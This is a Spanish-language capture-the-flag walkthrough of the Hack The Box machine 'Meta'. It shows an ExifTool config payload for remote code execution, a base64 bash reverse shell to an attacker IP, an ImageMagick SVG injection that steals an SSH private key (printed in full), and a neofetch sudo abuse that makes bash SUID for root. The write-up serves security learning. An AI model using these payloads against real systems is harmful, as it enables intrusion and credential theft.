Meta - Hack The Box
⮕ Maquina Linux
❯ ping -c 1 10.10.11.140
PING 10.10.11.140 (10.10.11.140) 56(84) bytes of data.
64 bytes from 10.10.11.140: icmp_seq=1 ttl=63 time=115 ms
--- 10.10.11.140 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 114.814/114.814/114.814/0.000 ms
❯ whichSystem.py 10.10.11.140
10.10.11.140 (ttl -> 63): Linux
PortScan
❯ nmap -sCV -p22,80 10.10.11.140 -oG targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-18 18:01 CST
Nmap scan report for 10.10.11.140
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1281175a5ac9c600dbf0ed9364fd1e08 (RSA)
| 256 b5e55953001896a6f842d8c7fb132049 (ECDSA)
|_ 256 05e9df71b59f25036bd0468d05454420 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion artcorp.htb
Ahora vamos agregar el subdominio al /etc/hosts
❯ echo "10.10.11.140 artcorp.htb" | sudo tee -a /etc/hosts
10.10.11.140 artcorp.htb
❯ ping -c 1 10.10.11.140
PING 10.10.11.140 (10.10.11.140) 56(84) bytes of data.
64 bytes from 10.10.11.140: icmp_seq=1 ttl=63 time=110 ms
--- 10.10.11.140 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.935/109.935/109.935/0.000 ms
Esta es la pagina web
Si inspeccionamos vemos varios usuarios en la pagina web que conforman el equipo de trabajo de primeras a mi me interesaría Thomas ya que su rol es PHP Developer y lo mas problema es que sea un usuario que pertenezca ala maquina victima
También nos están hablando sobre que van a sacar un nuevo producto MetaView
Al no ver nada mas interesante vamos a proceder a realizar Fuzzing para encontrar otras rutas de interés, pero nada interesante encontramos por los códigos de estado en las respuestas
❯ dirsearch -u http://10.10.11.140
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903
Output File: /usr/lib/python3/dist-packages/dirsearch/reports/10.10.11.140/_23-06-18_18-14-31.txt
Error Log: /usr/lib/python3/dist-packages/dirsearch/logs/errors-23-06-18_18-14-31.log
Target: http://10.10.11.140/
[18:14:31] Starting:
[18:14:37] 403 - 199B - /.ht_wsr.txt
[18:14:37] 403 - 199B - /.htaccess.bak1
[18:14:37] 403 - 199B - /.htaccess.orig
[18:14:37] 403 - 199B - /.htaccess.save
[18:14:37] 403 - 199B - /.htaccess.sample
[18:14:37] 403 - 199B - /.htaccess_extra
[18:14:37] 403 - 199B - /.htaccess_orig
[18:14:37] 403 - 199B - /.htaccess_sc
[18:14:37] 403 - 199B - /.htaccessBAK
[18:14:37] 403 - 199B - /.htaccessOLD
[18:14:37] 403 - 199B - /.htaccessOLD2
[18:14:37] 403 - 199B - /.htm
[18:14:37] 403 - 199B - /.html
[18:14:37] 403 - 199B - /.htpasswd_test
[18:14:37] 403 - 199B - /.htpasswds
[18:14:37] 403 - 199B - /.httr-oauth
[18:14:39] 403 - 199B - /.php
[18:15:20] 301 - 0B - /index.php -> http://artcorp.htb
[18:15:20] 301 - 0B - /index.php/login/ -> http://artcorp.htb
[18:15:37] 403 - 199B - /server-status
[18:15:37] 403 - 199B - /server-status/
Task Completed
Vamos a hacer Fuzzing pero ahora para buscar si hay algún otro subdominio por que nos hablaban sobre un proyecto tal vez podemos encontrar algo
❯ gobuster vhost -u http://artcorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://artcorp.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/06/18 18:17:11 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev01.artcorp.htb (Status: 200) [Size: 247]
Vamos agregar al /etc/hosts
el nuevo subdominio
❯ cat /etc/hosts | tail -n 1
10.10.11.140 artcorp.htb dev01.artcorp.htb
❯ ping -c 1 dev01.artcorp.htb
PING artcorp.htb (10.10.11.140) 56(84) bytes of data.
64 bytes from artcorp.htb (10.10.11.140): icmp_seq=1 ttl=63 time=112 ms
--- artcorp.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 112.345/112.345/112.345/0.000 ms
Enumeracion dev01.artcorp.htb
Esta es la pagina web que nos muestran
Si damos click en MetaView
nos redirige a esta parte
Nos están diciendo que podemos subir una imagen y se nos va a mostrar metadatos
Vamos a probar subiendo una imagen para ver que es lo que pasa cuando la subamos
Una vez lo subimos vemos que nos muestra este mensaje
Bueno la imagen que subí tenia antes otra extensión voy a subir otra que si tenga una extensión correcta y vemos que pasa esto nos esta mostrando información de la imagen como si empleara exiftool por detrás
Si analizamos la imagen que subimos con exiftool vemos que nos reporta algunos datos iguales
❯ exiftool 2.png
ExifTool Version Number : 12.16
File Name : 2.png
Directory : .
File Size : 7.7 KiB
File Modification Date/Time : 2023:06:08 18:33:59-06:00
File Access Date/Time : 2023:06:08 18:33:59-06:00
File Inode Change Date/Time : 2023:06:18 18:30:03-06:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 576
Image Height : 38
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Pixels Per Unit X : 3780
Pixels Per Unit Y : 3780
Pixel Units : meters
Image Size : 576x38
Megapixels : 0.022
Si tratamos de subir una imagen con contenido php
pasa esto
❯ catn image.png
<?php system("id"); ?>
Si lo convertimos a base64
para ver ahora que pasa
❯ echo "<?php system("id"); ?>" | base64
PD9waHAgc3lzdGVtKGlkKTsgPz4K
❯ catn image.png
PD9waHAgc3lzdGVtKGlkKTsgPz4K
Nos lo sigue detectando
Bueno después de estar buscando información en Internet de como convertir un imagen a un RCE aprovechándonos de exiftool
encontré este repositorio el cual me dio buenos resultados básicamente se están aprovechando de una versión desactualizada de exiftool
y esta usando la opción eval
que sirve para ejecutar una expresión evaluada https://github.com/OneSecCyber/JPEG_RCE después de seguir los pasos y subir la imagen que creo paso esto
❯ catn eval.config
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
use MIME::Base64;
my $val = shift;
$encoded = encode_base64($val);
my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
my $len = pack "N", length($meta);
my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
return $payload;
}
}
}
)
❯ exiftool -config eval.config runme.jpg -eval='system("ls -la")'
1 image files updated
Podemos ejecutar comandos
❯ exiftool -config eval.config runme.jpg -eval='system("id")'
1 image files updated
Shell as www-data
Ahora vamos a ganar acceso ala maquina
❯ nc -nlvp 443
listening on [any] 443 ...
Ahora lo que vamos a hacer es convertir nuestro oneliner en base64 para que el comando pueda ser interpretado
❯ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi80NDMgMD4mMScK
Ahora usamos exiftool pasando la cadena y le indicamos que haga un decode e interpreta con Bash la cadena
❯ exiftool -config eval.config runme.jpg -eval='system("echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi80NDMgMD4mMScK' | base64 -d | bash")'
1 image files updated
Ahora subimos la imagen
Y al darla a Upload ganamos acceso ala maquina
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.140] 45196
bash: cannot set terminal process group (640): Inappropriate ioctl for device
bash: no job control in this shell
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ whoami
whoami
www-data
www-data@meta:/var/www/dev01.artcorp.htb/metaview$
Ahora hacemos esto
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.140] 45196
bash: cannot set terminal process group (640): Inappropriate ioctl for device
bash: no job control in this shell
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ whoami
whoami
www-data
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
ENTER
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ export TERM=xterm
Ahora nos tenemos que convertir en Thomas
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
thomas:x:1000:1000:thomas,,,:/home/thomas:/bin/bash
www-data@meta:/var/www/dev01.artcorp.htb/metaview$
Estamos ante un Debian Buster
www-data@meta:/opt$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
www-data@meta:/opt$
Nada interesante
www-data@meta:/$ find / -user www-data 2>/dev/null | grep -v proc
/var/cache/apache2/mod_cache_disk
/dev/pts/0
/run/lock/apache2
www-data@meta:/$ find \-perm -4000 2>/dev/null
./usr/bin/umount
./usr/bin/newgrp
./usr/bin/passwd
./usr/bin/chsh
./usr/bin/gpasswd
./usr/bin/su
./usr/bin/fusermount
./usr/bin/mount
./usr/bin/chfn
./usr/bin/sudo
./usr/lib/eject/dmcrypt-get-device
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/openssh/ssh-keysign
www-data@meta:/$
Vamos a subir el pspy
para ver tareas cron https://github.com/DominicBreuker/pspy/releases
❯ mv /home/miguel7/Descargas/pspy64 .
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.140 - - [18/Jun/2023 19:30:49] "GET /pspy64 HTTP/1.1" 200 -
www-data@meta:/dev/shm$ wget http://10.10.14.12:80/pspy64
--2023-06-18 21:30:48-- http://10.10.14.12/pspy64
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[===================>] 2.96M 52.7KB/s in 53s
2023-06-18 21:31:42 (56.8 KB/s) - 'pspy64' saved [3104768/3104768]
www-data@meta:/dev/shm$
www-data@meta:/dev/shm$ chmod +x pspy64
Al ejecutarlo vemos esto, se esta ejecutando una bash para un archivo .sh
Este es el contenido, esta utilizando mogrify
www-data@meta:/usr/local/bin$ cat convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
www-data@meta:/usr/local/bin$
El binario lo esta ejecutando root
www-data@meta:/usr/local/bin$ ls -l /usr/local/bin/mogrify
lrwxrwxrwx 1 root root 6 Aug 29 2021 /usr/local/bin/mogrify -> magick
www-data@meta:/usr/local/bin$
Podemos ejecutar comandos gracias a eso https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
Como tenemos que convertirnos en el usuario thomas
para leer la user.txt podemos decirle que realice una copia de la id_rsa a la ruta /dev/shm todo atravez de un archivo svg
www-data@meta:/dev/shm$ nano poc.svg
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
Press Enter to continue
www-data@meta:/dev/shm$ cat poc.svg
<image authenticate='ff" `cat /home/thomas/.ssh/id_rsa > /dev/shm/id_rsa`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
www-data@meta:/dev/shm$
Ahora vamos a copear el archivo .svg ala ruta donde ejecuta el comando
www-data@meta:/dev/shm$ cp poc.svg /var/www/dev01.artcorp.htb/convert_images/
Una vez ejecutada la tarea ahora tenemos permisos de lectura de la id_rsa
de thomas y la tenemos en el directorio donde estamos
www-data@meta:/dev/shm$ ls -la
total 3040
drwxrwxrwt 2 root root 100 Jun 18 21:53 .
drwxr-xr-x 16 root root 3080 Jun 18 19:52 ..
-rw-r--r-- 1 thomas thomas 2590 Jun 18 21:53 id_rsa
-rw-r--r-- 1 www-data www-data 419 Jun 18 21:52 poc.svg
-rwxr-xr-x 1 www-data www-data 3104768 Jun 18 21:30 pspy64
www-data@meta:/dev/shm$
www-data@meta:/dev/shm$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE=
-----END OPENSSH PRIVATE KEY-----
www-data@meta:/dev/shm$
Shell as Thomas
❯ nano id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa thomas@10.10.11.140
The authenticity of host '10.10.11.140 (10.10.11.140)' can't be established.
ECDSA key fingerprint is SHA256:KjNiuFNo5CvSMSQO5ETmw1YJPtafmymn6SkBbMLIAFg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.140' (ECDSA) to the list of known hosts.
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$
User flag
thomas@meta:~$ export TERM=xterm
thomas@meta:~$ cat user.txt
82b480f11df535b5238ccc4df49a4d54
thomas@meta:~$
Escalada de Privilegios
Podemos ejecutar esto como root sin necesidad de proporcionar contraseña
thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
thomas@meta:~$
Si ejecutamos el comando esto lo que hace es como imprimirte por consola información de tu sistema operativo actualmente en uso
thomas@meta:~$ neofetch
_,met$$$$$gg. thomas@meta
,g$$$$$$$$$$$$$$$P. -----------
,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64
,$$P' `$$$. Host: VMware Virtual Platform None
',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64
`d$$' ,$P"' . $$$ Uptime: 2 hours, 6 mins
$$P d$' , $$P Packages: 495 (dpkg)
$$: $$. - ,d$$' Shell: bash 5.0.3
$$; Y$b._ _,d$P' Terminal: /dev/pts/1
Y$$. `.`"Y$$$$P"' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz
`$$b "-.__ GPU: VMware SVGA II Adapter
`Y$$ Memory: 143MiB / 1994MiB
`Y$$.
`$$b.
`Y$$b.
`"Y$b._
`"""
thomas@meta:~$
Vemos que aquí esta el directorio de neofetch
thomas@meta:~$ ls -l /home/thomas/.config/
total 4
drwxr-xr-x 2 thomas thomas 4096 Dec 20 2021 neofetch
thomas@meta:~$
Si nos metemos aquí hay un archivo de configuración
thomas@meta:~/.config$ cd neofetch/
thomas@meta:~/.config/neofetch$ ls
config.conf
thomas@meta:~/.config/neofetch$
Como tenemos permisos de escritura en el archivo por que es de thomas
Lo que podemos hacer es inyectar un comando para cuando se ejecute el neofetch también se ejecute lo que le indiquemos vamos a decirle que ponga la bash SUID para eso tenemos que editar el archivo y agregarle la linea
Pero antes de eso tenemos que mirar esto, es una variable de entorno
Vamos a cambiarla para que en vez de que root utilice su archivo de configuración utilice el de thomas
Ahora si podemos poner la bash SUID
con esto
thomas@meta:~/.config/neofetch$ cat config.conf | head -n 3
# See this wiki page for more info:
# https://github.com/dylanaraps/neofetch/wiki/Customizing-Info
chmod u+s /bin/bash
thomas@meta:~/.config/neofetch$
thomas@meta:~/.config/neofetch$ export XDG_CONFIG_HOME=/home/thomas/.config/
thomas@meta:~/.config/neofetch$ echo $XDG_CONFIG_HOME
/home/thomas/.config/
thomas@meta:~/.config/neofetch$
Ahora ejecutamos el neofetch
thomas@meta:~/.config/neofetch$ sudo neofetch
_,met$$$$$gg. root@meta
,g$$$$$$$$$$$$$$$P. ---------
,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64
,$$P' `$$$. Host: VMware Virtual Platform None
',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64
`d$$' ,$P"' . $$$ Uptime: 2 hours, 24 mins
$$P d$' , $$P Packages: 495 (dpkg)
$$: $$. - ,d$$' Shell: bash 5.0.3
$$; Y$b._ _,d$P' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz
Y$$. `.`"Y$$$$P"' GPU: VMware SVGA II Adapter
`$$b "-.__ Memory: 144MiB / 1994MiB
`Y$$
`Y$$.
`$$b.
`Y$$b.
`"Y$b._
`"""
thomas@meta:~/.config/neofetch$
Y la Bash es SUID
thomas@meta:~/.config/neofetch$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
thomas@meta:~/.config/neofetch$
Shell as root
thomas@meta:~/.config/neofetch$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt
97e7c468da6f2a4ba701124f4b69c516
bash-5.0#